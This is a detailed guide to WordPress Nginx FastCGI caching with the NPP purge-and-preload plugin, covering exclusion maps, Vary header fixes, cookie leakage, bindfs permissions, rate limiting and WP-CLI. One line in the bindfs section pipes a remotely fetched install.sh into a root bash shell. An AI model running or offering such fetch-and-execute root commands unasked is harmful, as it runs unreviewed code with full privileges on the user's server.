You set up Nginx FastCGI caching on your WordPress server. You installed a cache purge plugin. Post gets updated, cache gets wiped, everyone's happy — except the first visitor after every update is still hitting a cold PHP+MySQL round trip. This guide covers every layer of the problem: map-based cache exclusion architecture, cookie leakage prevention, the Vary header trap, the two-user permission problem, preloading strategy, REST API rate limiting, and full WP-CLI integration. Tested and aligned with NPP v2.1.7.
Why Nginx Server-Side Cache Is a Different Beast
Most WordPress caching plugins operate at the PHP layer. They intercept the request somewhere inside WordPress, check if a cached HTML file exists on disk, and serve it. Fast enough, but PHP still wakes up for every single hit to do that check.
Nginx fastcgi_cache sits in front of PHP entirely. A cached response never reaches WordPress, never spins up a PHP-FPM worker, never touches the database. Nginx reads the cache file off disk (or from shared memory) and ships it directly. The difference in resource usage under load is not marginal — it's categorical.
| Aspect | WordPress Page Caching Plugin | Nginx FastCGI Cache |
|---|---|---|
| Cache resolution layer | PHP — a worker must boot to serve the cache | Nginx — PHP never runs on a cache hit |
| Memory footprint per hit | ~20–30 MB PHP-FPM worker | Near zero — kernel page cache |
| Concurrent capacity | Limited by PHP-FPM pool size | Limited only by Nginx worker + OS I/O |
| Cache invalidation | Plugin-driven, inside PHP request lifecycle | Filesystem or ngx_cache_purge module — no PHP needed |
| Redundancy risk | High — two caches fighting for the same page | None when page caching is disabled in other plugins |
A Minimal Working fastcgi_cache Configuration
Before anything else works — purging, preloading, cache headers — the Nginx configuration has to be set up correctly. Here's the smallest config that does the job properly, with the directives that matter most explained inline.
## ─── http {} block ────────────────────────────────────────────────────
fastcgi_cache_path /dev/shm/nginx-cache
levels=1:2
keys_zone=MYSITE:100m
inactive=60m
max_size=1g;
fastcgi_cache_key "$scheme$request_method$host$request_uri";
## ─── server {} block ───────────────────────────────────────────────────
set $skip_cache 0;
# See the Map-Based Architecture section for the production approach.
# Simple per-method rules are safe here — maps handle path/cookie/query logic.
if ($request_method = POST) { set $skip_cache 1; }
if ($request_method = DELETE) { set $skip_cache 1; }
if ($request_method = PUT) { set $skip_cache 1; }
if ($request_method = PATCH) { set $skip_cache 1; }
## ─── location ~ \.php$ {} block ──────────────────────────────────────
fastcgi_cache MYSITE;
fastcgi_cache_valid 200 301 302 60m;
fastcgi_cache_bypass $skip_cache;
fastcgi_no_cache $skip_cache;
fastcgi_cache_use_stale error timeout updating invalid_header http_500 http_503;
fastcgi_cache_lock on;
fastcgi_cache_background_update on; # Serve stale while updating in background
# Strip Accept-Encoding before PHP sees it — prevents Vary header trap
fastcgi_param HTTP_ACCEPT_ENCODING "";
# Ignore Vary from upstream — prevents variant hash splits
fastcgi_ignore_headers Vary;
# Expose cache status in response headers (useful for debugging)
add_header NPP-FastCGI-Cache $upstream_cache_status always;
fastcgi_cache_background_update on: When a cached entry expires (reaches fastcgi_cache_valid TTL), instead of making the next visitor wait for a full PHP regeneration, Nginx serves the stale cached response immediately while it simultaneously fetches a fresh version from PHP in the background. Combined with fastcgi_cache_use_stale updating, this eliminates the "one unlucky visitor" penalty on routine TTL expiry — not just on manual purges. Both directives must be present for background update to activate.
/dev/shm/ is a RAM-backed tmpfs — fast, but lost on reboot. For production, /var/cache/nginx on a fast SSD is the more common choice. The plugin supports /dev/shm/, /tmp/, /var/, and /cache/ as valid root paths. Always use a subdirectory, not the root itself.
Production-Ready Cache Exclusion: The Map-Based Architecture
The minimal config above uses if blocks for skip-cache logic. For small setups this works, but the Nginx documentation describes if blocks as a source of subtle bugs in complex location contexts. More importantly, if blocks re-evaluate on every request — map directives are computed once when Nginx processes the request variables and cached for the full request lifecycle, making them significantly more efficient at scale and much easier to audit.
The production NPP Nginx configuration replaces the single if ($query_string != "") rule with five purpose-built map blocks, each handling a distinct dimension of the cache decision. Two modules must be loaded for the full feature set:
## ─── top of nginx.conf, before http {} block ──────────────────────────
load_module modules/ngx_http_cache_purge_module.so;
load_module modules/ngx_http_headers_more_filter_module.so;
ngx_http_cache_purge_module enables HTTP-based cache purging (Fast-Path 1 in the 3-Layer Purge section). ngx_http_headers_more_filter_module enables the more_clear_headers directive used in the Cookie Leakage section. Both are included in nginx-extras on Debian/Ubuntu and available on most managed hosting control panels.
The Five Maps (http {} block)
######## CACHE SKIP MAPS — all defined in http {} context ########
# MAP 1: Path-based exclusions
# Source variable: $uri (decoded path only, no query string).
map $uri $skip_cache_path {
default 0;
# WordPress core directories
~*/wp-(admin|content|includes|json)(?:/|$) 1;
# WordPress root PHP files
~*/wp-[^/]*\.php 1;
# XML-RPC endpoint
~/xmlrpc\.php 1;
# WooCommerce transactional & account paths
~*/(cart|checkout|order-received|order-pay|wc-ajax|wc-auth|my-account|wc-api|addons)(?:/|$) 1;
~/wc/store(?:/|$) 1;
# Authentication & registration paths
~*/(login|logout|register|lost-password|password-reset|activate)(?:/|$) 1;
# Static system files
~/robots\.txt 1;
# WordPress core sitemap and sitemap index
~/sitemap(_index)?\.xml 1;
# Plugin-generated sitemaps (e.g. /news-sitemap.xml)
~*/[a-z0-9_-]+-sitemap([0-9]+)?\.xml 1;
# WordPress built-in sitemap (e.g. /wp-sitemap.xml)
~/wp-sitemap[^/]*\.xml 1;
# oEmbed, CGI, and ACME challenge
~/embed/ 1;
~/cgi-bin/ 1;
~*\.well-known/ 1;
}
# MAP 2: Query-string exclusions — dynamic actions only.
# Pattern structure: (^|&)<param-name>= matches whole param names,
# not substrings inside values. Benign params (paged, color, etc.) are
# intentionally NOT listed — they're safe to cache and preload.
map $query_string $skip_cache_query {
default 0;
"" 0; # No query string → never skip from this map
# WooCommerce cart & order actions
~*(?:^|&)(?:add-to-cart|added-to-cart|order_again|remove_item|undo_item|apply_coupon|remove_coupon|update_cart|empty_cart|download_file|pay_for_order|change_payment_method|wc-api|wc-ajax|add_to_wishlist|remove_from_wishlist|wc-authorize-wccom|productcheckout|cancel_order)= 1;
# Faceted navigation / product-attribute filtering (dynamic prefixes)
# Matches: attribute_pa_color=, filter_size=, query_type_color=, etc.
~*(?:^|&)(?:attribute_pa_|filter_|query_type_)[^=&]*= 1;
# Price, rating & sort parameters (alter result set — must not cache)
~*(?:^|&)(?:rating_filter|min_price|max_price|orderby)= 1;
# WordPress nonces, preview mode & Customizer
~*(?:^|&)(?:_wpnonce|preview|preview_id|preview_nonce|customize_changeset|wp_customize)= 1;
# Search queries & manual cache bypass flags
~*(?:^|&)(?:_skip_cache|s|nocache)= 1;
# REST API via index.php?rest_route= (covers oEmbed too)
~*(?:^|&)rest_route= 1;
# Secret tokens — password reset keys, order keys, verification hashes
~*(?:^|&)key= 1;
# Comment reply anchor — no content difference, avoids duplicate cache entries
~*(?:^|&)replytocom= 1;
}
# MAP 3: Cookie-based exclusions.
# Skips cache for logged-in WordPress users and WoodMart cart state.
map $http_cookie $skip_cache_cookie {
default 0;
~*(comment_author|wordpress_[a-f0-9]+|wp-postpass|wordpress_no_cache|wordpress_logged_in) 1;
# WoodMart — active wishlist and compare list
~*woodmart_wishlist_count=[1-9] 1;
~*woodmart_compare_list=%5B%22 1;
}
# MAP 4: WooCommerce cart presence.
# Separate from MAP 3 for clarity — the woocommerce_items_in_cart cookie
# is set by WooCommerce JS and doesn't follow the wordpress_* pattern.
map $cookie_woocommerce_items_in_cart $skip_cache_cart {
default 0;
"1" 1;
}
# MAP 5: AJAX / XHR-based exclusions.
# Do not cache dynamically-requested responses.
map $http_x_requested_with $skip_cache_xhr {
default 0;
XMLHttpRequest 1;
}
Server Block — Consuming the Maps
With the five maps defined in the http {} context, the server {} block that consumes them is clean and readable. The only if blocks needed are for HTTP methods — a case that genuinely doesn't fit a map because it's a simple equality check on a built-in variable with no performance concern:
## ─── server {} block ──────────────────────────────────────────────────
set $skip_cache 0;
# Method-based skips — safe as if blocks (simple equality, no location context)
if ($request_method = POST) { set $skip_cache 1; }
if ($request_method = DELETE) { set $skip_cache 1; }
if ($request_method = PUT) { set $skip_cache 1; }
if ($request_method = PATCH) { set $skip_cache 1; }
# Map-based skips — evaluated once, cached for request lifetime
if ($skip_cache_path) { set $skip_cache 1; }
if ($skip_cache_query) { set $skip_cache 1; }
if ($skip_cache_cookie) { set $skip_cache 1; }
if ($skip_cache_cart) { set $skip_cache 1; }
if ($skip_cache_xhr) { set $skip_cache 1; }
| Map | Source Variable | What it gates |
|---|---|---|
$skip_cache_path | $uri | WordPress admin, WooCommerce transactional paths, sitemaps, authentication pages, embeds |
$skip_cache_query | $query_string | Only genuinely dynamic parameters: cart actions, nonces, search, price/sort filters. Benign params like ?paged=2 or UTM params are intentionally allowed. |
$skip_cache_cookie | $http_cookie | Logged-in WordPress users, WoodMart wishlist/compare state |
$skip_cache_cart | $cookie_woocommerce_items_in_cart | Visitors with active WooCommerce carts |
$skip_cache_xhr | $http_x_requested_with | AJAX / XMLHttpRequest calls — always dynamic |
$skip_cache_query. After upgrading to v2.1.7, use the "Reset Default" button on Exclude Endpoints in Settings → Preload Options to activate the matching surgical defaults. Your Nginx skip-cache logic and your NPP preload denylist must mirror each other — pages Nginx won't cache should also be excluded from NPP's preload scope.
The skip_cache Query String Rule That Defeats Cache Preloading
Nearly every WordPress + Nginx caching tutorial on the internet includes this rule in the skip_cache logic:
# This rule appears in almost every Nginx WordPress cache guide
if ($query_string != "") {
set $skip_cache 1;
}
The intent is reasonable — skip caching for URLs with query strings to avoid caching session tokens, cart state, search results. In practice, it's a blunt instrument that silently defeats cache preloading for large swaths of a real site. Any URL with a benign query string — paginated archives like ?paged=2, filtered product listings like ?color=blue, canonical URL variants, Google Analytics UTM parameters stripped by Nginx — all get permanently bypassed regardless of whether the content is actually dynamic.
NPP's preload engine was completely overhauled in v2.1.7 to address this: instead of blanket query-string exclusion during preloading, it now uses a surgical denylist that blocks only parameters that genuinely break caching. Sites upgrading from earlier versions will see a significant jump in preload coverage and cache HIT rates as URLs with benign query strings finally get warmed.
if ($query_string != "") rule, NPP will preload those URLs and they'll be immediately bypassed — preloaded but never served from cache. The preload engine and the skip_cache logic must mirror each other.The production solution is the Map-Based Architecture shown in the previous section: a dedicated
$skip_cache_query map that only blocks the parameters that genuinely carry dynamic state. After upgrading to v2.1.7, also use the "Reset Default" button for Exclude Endpoints in Settings → Preload Options to activate the new surgical defaults.
The Cold Cache Problem: Purging Without Preloading
Here's the workflow that almost every WordPress + Nginx setup is running right now:
- Editor publishes an updated post
- Cache purge plugin detects the update and deletes the relevant cache files
- Next visitor to that URL triggers a full PHP + MySQL round trip to regenerate the page
- Nginx stores the response — all subsequent visitors get the fast cached version
Step 3 is the problem. That first visitor is paying the full PHP penalty. On a quiet blog that's annoying. On a WooCommerce store updating stock after a flash sale, or a news site pushing a breaking story, it's every visitor hitting cold PHP simultaneously — the spike you were trying to avoid by caching in the first place.
The fix is cache preloading: after purging, immediately fetch each affected URL via HTTP so Nginx stores fresh content before any real visitor arrives. That's what NPP (Nginx Cache Purge Preload) exists to do — it closes the gap between purge and the next cache hit.
safexec) around all the shell operations. Install it, point it at your cache path, and the cold-cache gap disappears.
Auto Purge Triggers: What WordPress Events Should Clear Cache
A well-configured auto purge should be surgical — clear the minimum set of pages that are actually stale after a given event, then preload them. Clear too little and visitors see outdated content. Clear the whole cache on every post save and you're preloading your entire site constantly, burning CPU you don't need to burn.
NPP's auto purge fires on the following WordPress events by default, each with its own scope of what gets cleared:
- Post publish / update: the updated URL + homepage + category/tag archives that list the post
- Post delete / trash: same scope, plus any pagination URLs that shift
- Comment published / approved: the post page whose comment count changed
- WooCommerce stock change: the product page (and parent page for variations)
- Plugin / theme update: full cache purge — a JS or CSS change can break any cached page that includes the changed asset
- Gutenberg autosave: guarded against by a dedup transient — autosaves don't trigger purge
Expanded Purge Scope in v2.1.7
NPP v2.1.7 significantly expanded the set of URL types that are automatically invalidated when content changes. These extensions activate automatically — no configuration required:
| Event | Newly Purged (v2.1.7+) |
|---|---|
| Post save / update | Author archives + date-based archives (year, month, day) |
| Post publish / update | Main site RSS feed (/feed/, /feed/atom/) |
| Comment activity | Per-post comment feeds + paginated comment URLs |
| Taxonomy update | Per-taxonomy RSS feeds + all public registered taxonomies + WooCommerce product attribute archives |
The WooCommerce Stock Update Problem
WooCommerce stock changes caused by customer orders go directly to the database via a dedicated inventory API — they bypass wp_update_post() entirely. This means transition_post_status, the hook that most cache plugins listen to, never fires when a product goes out of stock after a purchase.
NPP hooks into the WooCommerce stock events directly: woocommerce_product_set_stock, woocommerce_product_set_stock_status, and their variation equivalents. For variations, the purge resolves to the parent product's public URL. Order cancellations that restore stock also fire a purge.
transition_post_status ever sees the inventory change.
The Vary Header Trap: Why Your Cache Warm Doesn't Reach Real Visitors
This is the most consistently misunderstood issue in WordPress Nginx caching. The symptom: you have cache preloading running, the Status tab shows the cache is warm, but real visitors are still seeing cache misses. The cache file exists. Nginx just won't serve it to them.
The root cause is Vary: Accept-Encoding.
When PHP has zlib.output_compression = On, it adds Vary: Accept-Encoding to any response where the client sent Accept-Encoding: gzip. Nginx's cache engine sees this header, stores it in the cache file metadata, and then computes a secondary variant hash from the Accept-Encoding value in the request. That variant hash becomes the filename of a separate cache file — one file per encoding variant.
Here's what happens when a preloader (like NPP's wget) warms a URL, and then a real browser requests it:
- NPP's preloader sends no
Accept-Encodingheader → PHP doesn't compress → noVarystored → cache file with hash abc123 - Real browser sends
Accept-Encoding: gzip, deflate, br→ different variant hash def456 → Nginx looks for a cache file that doesn't exist → MISS
If a real browser reaches the URL first (before NPP), the problem flips: a Vary-tagged gzip cache file is stored, NPP's uncompressed request mismatches it, Nginx fetches fresh content from PHP — which this time has no Vary because NPP sends no Accept-Encoding — and overwrites the original cache file. Now every subsequent browser request mismatches again. Perpetual cache churn on every NPP/browser alternation.
zlib.output_compression = Off, a WordPress plugin or proxy layer emitting Vary: Accept-Encoding unconditionally triggers the same two-file split. NPP warms with hash A, every real visitor gets hash B, the warmed cache is permanently bypassed.
The Fix — Three Steps
Step 1 — Disable PHP-level compression so PHP never adds Vary: Accept-Encoding to any response:
; /etc/php/8.x/fpm/php.ini
zlib.output_compression = Off
Step 2 — Add both protective directives to your Nginx PHP block — one strips the header before PHP can act on it, the other prevents Nginx from ever storing a Vary from any upstream source:
location ~ \.php$ {
fastcgi_cache_key "$scheme$request_method$host$request_uri";
fastcgi_pass unix:/var/run/php-fcgi-yoursite.sock;
include /etc/nginx/fastcgi_params;
fastcgi_param HTTP_ACCEPT_ENCODING ""; # strip before PHP sees it
fastcgi_ignore_headers Vary; # prevent variant hash storage
fastcgi_cache MYSITE;
fastcgi_cache_valid 30d;
fastcgi_cache_bypass $skip_cache;
fastcgi_no_cache $skip_cache;
fastcgi_cache_use_stale error timeout updating invalid_header http_500 http_503;
fastcgi_cache_lock on;
fastcgi_cache_background_update on;
}
Step 3 — Let Nginx handle all gzip compression from the single uncompressed cache entry:
# nginx.conf http {} block
gzip on;
gzip_vary on;
gzip_proxied any;
gzip_comp_level 5;
gzip_types text/plain text/css application/javascript
application/json text/xml application/xml
text/javascript;
fastcgi_ignore_headers Vary is safe here: The concern with suppressing Vary is normally that you'd serve gzip content to a client that can't decompress it. But with zlib.output_compression = Off, PHP never produces compressed output — there's only one content variant in the cache. Nginx compresses per-client on the fly using its own gzip module. One cache file, served correctly to every client regardless of what their Accept-Encoding says.gzip_vary on still sends Vary: Accept-Encoding in outgoing responses — informing browsers and downstream CDNs that compression varies. It writes to the client-facing response bytes only; it never touches the cache variant hash mechanism.
| Scenario | Cache files per URL | NPP warm hit for real visitors |
|---|---|---|
zlib.output_compression = On, no fix | 1 (unstable — overwritten when encoding mismatches) | MISS — warmed cache silently destroyed when browser hits first |
Plugin emitting Vary: Accept-Encoding unconditionally, no fix | 2 (two independent files for the same URL) | MISS — NPP warm never served to real visitors regardless of warm order |
zlib.output_compression = Off + fastcgi_ignore_headers Vary | 1 ✅ | HIT — every time |
Cookie Leakage: Preventing Set-Cookie Header Cache Poisoning
When PHP handles a cacheable request — say, a product page viewed by a non-logged-in visitor — it sometimes still sets cookies in the response. Session initialization cookies, analytics cookies, and certain plugin cookies are common culprits. When Nginx caches that response, the Set-Cookie headers get stored along with the HTML body. Every subsequent visitor served from cache receives those cookies — including session identifiers generated for someone else's request.
This is cookie leakage: one user's session cookie, served from cache, arriving in another user's browser. On WooCommerce sites using persistent cart sessions, this can mean a visitor receiving another visitor's cart state. Even if the session is empty, the leak breaks the downstream application's expectation that each client initializes its own session.
The fix requires the ngx_http_headers_more_filter_module and a conditional header removal in the PHP location block:
location ~ \.php$ {
fastcgi_cache MYSITE;
fastcgi_cache_bypass $skip_cache;
fastcgi_no_cache $skip_cache;
# Strip Set-Cookie from responses that WILL be cached.
# $skip_cache = 0 means this response is going into cache.
# Cached responses must never carry session-specific cookie headers.
if ($skip_cache = 0) {
more_clear_headers "Set-Cookie*";
}
# ... rest of your fastcgi directives
}
more_clear_headers "Set-Cookie*" unconditionally would strip cookies from bypass responses too — logged-in users and WooCommerce checkout flows would lose their authentication cookies mid-request. The if ($skip_cache = 0) condition targets only the responses entering the cache, where Set-Cookie headers have no business being stored.
more_clear_headers is provided by ngx_http_headers_more_filter_module. On Debian/Ubuntu: apt install nginx-extras. On RHEL/Fedora: available in the EPEL repository or by compiling Nginx with the module. Verify with nginx -V 2>&1 | grep headers-more. The module must be loaded at the top of nginx.conf:load_module modules/ngx_http_headers_more_filter_module.so;
Permission Architecture: When PHP-FPM Can't Touch the Cache
This is the original reason NPP exists. Every other problem in this guide has a pure configuration fix. This one requires understanding why two separate system users are involved and what that means for filesystem operations.
In a correctly hardened Nginx + PHP-FPM setup, you have two distinct Unix users:
- WEBSERVER-USER (
nginxon RHEL/Fedora,www-dataon Debian/Ubuntu): runs the Nginx worker processes, creates cache files when handling FastCGI responses - PHP-FPM-USER (your site user, e.g.
mysite): runs the PHP-FPM pool for your WordPress site
Nginx writes cache files as nginx:nginx with permissions like 600. When NPP (running as PHP-FPM-USER) tries to delete those files during a purge, the kernel says no. The cache sits there, stale, forever.
The bindfs Solution
The cleanest fix without changing cache file ownership or relaxing security is FUSE bindfs: create a virtual mount of the Nginx cache directory that presents it to PHP-FPM-USER with full read/write access, while the underlying filesystem stays exactly as Nginx left it.
# Install bindfs
apt install bindfs # Debian/Ubuntu
dnf install fuse-bindfs # RHEL/Fedora
# Create the FUSE mount
# Original cache path (owned by nginx): /var/cache/nginx/mysite
# Mount point (accessible by PHP-FPM-USER: mysite): /dev/shm/fastcgi-cache-mysite
bindfs \
--force-user=mysite \
--force-group=mysite \
--create-for-user=nginx \
--create-for-group=nginx \
--create-with-perms=u+rw \
/var/cache/nginx/mysite \
/dev/shm/fastcgi-cache-mysite
NPP's settings then point to the mount path (/dev/shm/fastcgi-cache-mysite), not the original. Nginx still writes to the real path as usual — bindfs mirrors writes bidirectionally, so cache files Nginx creates appear in the mount with PHP-FPM-USER ownership, and files NPP deletes from the mount are removed from the real path too.
install.sh script detects all PHP-FPM users and their associated Nginx cache paths automatically, creates the bindfs mounts, and registers a npp-wordpress systemd service that restores every mount after reboot.
sudo bash -c "$(curl -Ss https://psaux-it.github.io/install.sh)"
For Docker-based stacks, use the dedicated Docker Compose environment instead — install.sh is for monolithic servers only.
open_basedir: The Silent Killer of Nginx Cache Plugins
open_basedir is a PHP security directive that restricts every filesystem access the PHP process makes to a defined set of paths. It's commonly enabled by hosting control panels (cPanel, Plesk, aaPanel, HestiaCP) to prevent one site's PHP from reading another's files.
The problem: it doesn't restrict quietly. When blocked, the error message NPP surfaces looks like this:
ERROR COMMAND: Preloading failed for https://example.com.
Please check Exclude Endpoints and Exclude File Extensions settings syntax.
That message is misleading — it means a required system command couldn't execute. The actual cause is open_basedir blocking access to wget, /proc, /etc/nginx/, or the system binary directories. NPP surfaces a GLOBAL WARNING OPEN_BASEDIR notice in the Status tab when it detects an active restriction. The fix is extending the path list in your PHP-FPM pool config:
# /etc/php/8.x/fpm/pool.d/yoursite.conf
php_admin_value[open_basedir] =
/var/www/yoursite.com/ :
/var/cache/nginx/ :
/tmp/ :
/proc/ :
/dev/null :
/etc/nginx/nginx.conf
/proc/? NPP reads /proc/self/mountinfo to detect whether the cache path is a FUSE (bindfs) mount. Without /proc/ in the allowlist, the mount detection fails and NPP falls back to slower scan paths.The 3-Layer Purge Strategy
Cache purge sounds simple — delete the file. In practice there are at least four ways to locate a Nginx cache entry, each with different speed and availability tradeoffs. NPP tries them in order for single-URL purges, stopping at the first success.
Fast-Path 1 — HTTP Purge via ngx_cache_purge module
If the ngx_cache_purge Nginx module is compiled in and a purge location block is configured, NPP sends an HTTP request to the purge endpoint. The module removes the cache entry from shared memory and disk atomically. On HTTP 200, the filesystem is never touched.
This is the fastest method — an HTTP round-trip rather than a directory scan. It's available out of the box on stacks that include nginx-extras (Ubuntu), most managed hosting control panels, and servers where you compile Nginx with the module manually.
## Required Nginx config for HTTP Purge
## In http {} block:
fastcgi_cache_path /var/cache/nginx levels=1:2 keys_zone=MY_CACHE:10m inactive=60m;
fastcgi_cache_key "$scheme$request_method$host$request_uri";
## In server {} block — dedicated purge location (required):
location ~ /purge(/.*) {
allow 127.0.0.1;
# allow 172.16.0.0/12; # Docker network — adjust to your subnet
deny all;
fastcgi_cache_purge MY_CACHE "$scheme$request_method$host$1";
}
fastcgi_cache_purge on inline inside the PHP location block instead of a dedicated purge location. That approach expects the PURGE HTTP method, but NPP sends GET to the dedicated endpoint. The inline directive will never match. Always use the dedicated location block as shown above.
Fast-Path 2 — URL Index Lookup
NPP maintains a persistent URL→filepath index stored in the WordPress database, built incrementally during Preload All and updated by write-back after every successful single-page purge. When a purge request comes in for a URL, NPP checks the index first. If the file path is there and still exists on disk, it deletes it directly — no directory scan, no HTTP request, sub-millisecond. The index correctly handles multiple cache variants (Vary entries, mobile cache entries) by storing an array of paths per URL.
The index grows over time. After one full preload run, most single-page purges on your site will hit Fast-Path 2 exclusively.
Fast-Path 3 — RG Purge (ripgrep scan)
If neither fast-path succeeds, NPP has two fallback modes depending on whether ripgrep is installed. With rg available, NPP runs a single parallel file search against the cache directory, matching the KEY: header line inside each cache file. ripgrep uses memory-mapped I/O, parallel traversal, and early exit — it finds the matching file in a 10,000-entry cache in under two seconds typically.
# Install ripgrep (minimum v14.0.0 required — NPP enforces this)
apt install ripgrep # Debian / Ubuntu
dnf install ripgrep # RHEL / Fedora
apk add ripgrep # Alpine Linux
Then enable RG Purge in Settings → NPP Settings → Advanced. The toggle shows Unavailable if rg isn't detected or is below v14.0.0 — install or update it, then refresh the page.
Fallback — PHP Recursive Scan
If rg isn't available, NPP falls back to a PHP RecursiveDirectoryIterator loop. This works — it's just slow on large caches. On a cache with 8,000 files on a FUSE mount, this takes around 21 seconds. With rg + safexec bypassing the FUSE layer, the same scan takes around 5 seconds — a 76% reduction.
| Setup | Method | 8,000-file FUSE cache scan |
|---|---|---|
| No ripgrep, no safexec | PHP RecursiveDirectoryIterator over FUSE | ~21 seconds ⚠️ |
| ripgrep only | rg over FUSE mount | ~8 seconds |
| ripgrep + safexec | rg via safexec against real source path | ~5 seconds ✅ |
Cache Preloading: How the Warming Engine Works
The preload engine is built around wget — not a PHP HTTP client, not cURL inside a PHP loop. There's a deliberate reason: a PHP-based crawler runs inside a PHP-FPM worker, bound by max_execution_time (usually 30–300 seconds), memory_limit, and blocking a worker slot for the entire crawl duration. A large site with 5,000 cached pages would exhaust the PHP execution budget before finishing.
wget runs as a completely independent OS process. It doesn't hold a PHP-FPM worker, it doesn't hit execution time limits, and it can be managed with a PID file — started, monitored, and killed cleanly from PHP without PHP being involved in the actual crawl.
# What NPP's preloader does, simplified
safexec wget \
--recursive \
--reject "*.jpg,*.css,*.js,*.png" \
--limit-rate=500k \
--wait=0.1 \
--random-wait \
--user-agent "NPP-Preloader/2.x" \
https://www.psauxit.com/
The Preload Watchdog
Post-preload tasks — building the URL index, sending the completion email, kicking off the mobile preload pass — are scheduled through WP-Cron. WP-Cron fires when a visitor hits the site. On a fully cached site after a successful preload, Nginx serves every request directly and PHP never runs. WP-Cron never fires. Post-preload tasks sit in the queue indefinitely.
The Preload Watchdog solves this: a background process that watches the wget PID file and fires post-preload tasks the moment the preload process exits — regardless of whether any visitor arrived. Enable it under Settings → NPP Settings → Preload Watchdog. Especially useful on low-traffic sites and any site using Scheduled Preload.
Scheduled Preload
For sites where content doesn't change frequently, a time-based preload schedule makes more sense than auto-purge on every update. NPP's scheduler lets you set a custom WP-Cron interval and pick an exact time — run a full cache warm at 3:00 AM before business hours, for example, completely independent of editorial activity. Configure via Settings → Scheduled Cache or directly from the command line: wp npp schedule-set --freq=daily --time=03:00
Preload All MISS — Targeted Warming Without the Full Wipe
Standard Preload All is a two-phase operation: purge everything, then crawl everything. For a site with 4,000 cached pages where only a handful have expired, that's enormous waste — you're destroying 3,990 warm cache entries to update 10.
Preload All MISS is a smarter alternative introduced in v2.1.7. It skips the purge entirely and crawls only URLs that are currently absent from cache. No wipe, no full recrawl — just the MISSes.
| Preload All | Preload All MISS | |
|---|---|---|
| First step | Full cache purge | No purge |
| Scope | Every URL | Only currently uncached URLs |
| Server cost | High — I/O + full crawl | Low — targeted crawl only |
| Best for | Cold cache, post-migration, full refresh | Cache already >50% warm, topping up gaps |
Preload All MISS is available in the Advanced Tab (Cache Manager). It activates only when cache coverage exceeds 50% — a guard against accidentally using it on a cold cache where you actually need the full purge+preload cycle.
Preload Feeds — RSS and Atom as First-Class Citizens
RSS and Atom feeds are among the most consistently neglected parts of a cached WordPress site. They're high-frequency update targets — every new post invalidates the main feed, every new comment invalidates per-post feeds — but most cache purge plugins either skip them entirely or only handle the main feed inconsistently.
NPP v2.1.7 makes feeds a proper part of the preload pipeline: main site feed (/feed/, /feed/atom/), per-post comment feeds (preloaded alongside their parent post), and per-taxonomy RSS feeds (preloaded together with their archive pages). Toggle via Preload Feeds in Settings → Preload Options.
Nginx + Apache Reverse Proxy: REST API 404 Fix
Control panels like aaPanel, HestiaCP, and CyberPanel commonly put Nginx in front of Apache as a reverse proxy. NPP's REST API endpoints return rest_no_route 404 in these setups because of a two-layer authorization header problem: Nginx strips the Authorization header before it reaches Apache, and Apache's mod_rewrite doesn't expose it to PHP's $_SERVER automatically.
Fix 1 — Nginx: forward Authorization to Apache
location / {
proxy_pass http://127.0.0.1:8288; # your Apache backend port
proxy_pass_header Authorization;
proxy_pass_header X-Api-Key;
proxy_set_header Authorization $http_authorization;
proxy_set_header X-Api-Key $http_x_api_key;
}
Fix 2 — Apache: expose Authorization to PHP via RewriteRule
<Directory "/www/wwwroot/yourdomain.com">
AllowOverride All
Require all granted
RewriteEngine On
RewriteBase /
RewriteRule ^ - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] # ← the key line
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</Directory>
The RewriteRule ^ - [E=HTTP_AUTHORIZATION:...] line sets an Apache environment variable from the incoming header. PHP picks up all HTTP_* environment variables automatically as $_SERVER keys. Without it, WordPress never sees the Bearer token and returns 404 for every NPP REST call.
Protecting the NPP REST API: Rate Limiting at the Nginx Layer
NPP exposes REST API endpoints for cache purge and preload operations — used by WP-CLI, the WordPress dashboard, and any external deployment hooks you configure. These endpoints are authenticated (Bearer token + X-Api-Key), but an unauthenticated flood of requests still consumes server resources for the authentication check itself. Rate limiting the NPP API at the Nginx layer adds a near-zero-cost first gate before the request reaches PHP.
The key design detail: apply rate limiting only to NPP endpoints, not to all WordPress traffic. The production approach uses a map to set a non-empty key only for NPP API requests — Nginx only applies the limit to non-empty keys, so all other traffic is untouched:
## ─── http {} block ────────────────────────────────────────────────────
# Map sets a non-empty key only for NPP API requests.
# All other traffic uses an empty string — no rate limit applied.
map $request_uri $nppp_limit_key {
~^/wp-json/nppp_nginx_cache/ $binary_remote_addr;
default "";
}
limit_req_zone $nppp_limit_key zone=nppp_api:10m rate=10r/m;
## ─── PHP location block ───────────────────────────────────────────────
location ~ \.php$ {
# ... your existing fastcgi directives ...
limit_req zone=nppp_api burst=5 nodelay; # burst=5 allows short bursts without queuing
limit_req_status 429; # return 429, not the default 503
limit_req_log_level warn; # log at warn, not error
}
| Parameter | Value | Effect |
|---|---|---|
rate=10r/m | 10 requests/minute | Plenty for legitimate operations (dashboard, CLI, deploy hooks); blocks floods |
burst=5 | 5 extra requests | Allows a rapid purge+preload sequence without hitting the limit |
nodelay | — | Burst requests are served immediately, not queued — avoids preload timeouts |
limit_req_status 429 | HTTP 429 | Semantically correct "Too Many Requests" instead of 503 |
empty $nppp_limit_key | — | Nginx ignores limit_req for all non-NPP traffic — zero overhead on normal page requests |
limit_req_zone $binary_remote_addr zone=...rate=...? A blanket rate limit on the PHP location would throttle all PHP traffic — including legitimate concurrent visits during a traffic spike. The map-key approach is surgical: only NPP API calls are governed, everything else passes through at full speed.
WP-CLI Integration: Full Cache Management from the Terminal
Dashboard buttons are fine for one-off operations. For deployments, CI/CD pipelines, headless hosting panels, post-migration cleanup scripts, and any automation that needs to touch the cache without opening a browser — you need CLI access. NPP v2.1.7 added full WP-CLI integration with 10 dedicated subcommands covering every core operation.
# Full-site cache purge
wp npp purge
# Purge a single URL — outputs only the outcome token for shell scripting
wp npp purge --page-url=https://example.com/shop/ --porcelain
# Full-site preload — spawns wget crawl in background, returns immediately
wp npp preload
# Preload a single URL
wp npp preload --page-url=https://example.com/about/
# Kill a running preload without touching the cache
wp npp preload --stop
# Runtime status — table, json, yaml, or csv output
wp npp status --format=json
# Tail the operation log (last 50 lines)
wp npp log --lines=50
# Clear the log
wp npp log --clear
# Inspect all current settings as JSON
wp npp settings get --format=json
# Update a single setting
wp npp settings set nginx_cache_path /var/cache/nginx/fastcgi
# Reset a setting to plugin default (useful after upgrading)
wp npp settings-reset nginx_cache_reject_regex
